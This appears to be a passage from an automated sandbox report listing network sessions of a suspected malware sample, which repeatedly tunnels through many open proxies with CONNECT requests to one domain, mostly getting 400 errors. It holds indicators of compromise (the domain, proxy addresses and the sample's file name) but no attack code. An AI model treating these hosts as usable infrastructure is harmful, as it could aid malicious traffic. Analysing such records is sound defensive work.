Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49728	8.217.143.187	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.418330908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49909	47.236.85.113	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.459402084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49806	104.19.109.209	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.465356112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.619745970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49748	52.67.10.183	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.473891973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.799470901 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:01 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:01.800194025 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 4d b4 2e f1 e6 8d da cf 3c 9e 1c 61 68 6f ad 3e 06 6b d2 80 62 5b 12 bc 0b 74 95 e7 8c 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eM.<aho>kb[t*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:02.126604080 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 3d 45 34 b8 1b 36 02 79 7c f0 6e 3c 21 90 4b 0d e0 3d 79 c9 d2 c3 ee a5 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9=E46y\|n<!K=yDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311135315Z260311135315Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:02.130932093 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 52 45 2b 0f 8d 38 c4 56 de 82 89 0c 10 5f 3a a8 41 1c ee 6a 62 b5 2e 05 80 23 6d b7 b1 ca 74 48 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 39 1a 2d 74 19 04 eb cf 20 67 25 5f 80 28 99 1e e0 6f 3f 2e 2b Data Ascii: %! RE+8V_:Ajb.#mtH(9-t g%_(o?.+\\|-2
Mar 11, 2024 15:21:02.455400944 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 55 d1 3a 40 f4 de db fb 73 76 9b bd ad e7 1c 12 90 dc b7 26 1a 4c 4b 60 ed ef ec 12 b3 32 34 59 5c 11 7a a9 69 12 be 03 Data Ascii: (U:@sv&LK`24Y\zi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49817	104.17.62.87	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.483572960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.637579918 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49933	47.236.85.113	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.489532948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49781	47.93.121.200	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.555785894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.899128914 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.4.4</center></body></html>
Mar 11, 2024 15:21:01.905762911 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 36 35 32 39 37 31 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003906529719"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49863	172.64.80.55	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.582443953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.736673117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49821	74.119.144.60	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.582936049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49878	185.162.228.128	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.586189985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.740782022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49894	104.21.218.103	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.592531919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.746782064 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49899	45.14.174.148	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.596698046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.751281977 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49904	104.16.106.234	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.609838009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.764153957 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49895	147.182.194.76	29703	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.615884066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49785	181.209.78.75	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.629812956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.371969938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.464446068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.700366974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.169250011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700495958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.200340986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.954539061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.403197050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49926	104.27.15.161	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.636090994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.790218115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49935	172.64.86.217	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.644661903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:01.798764944 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49936	104.21.194.19	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
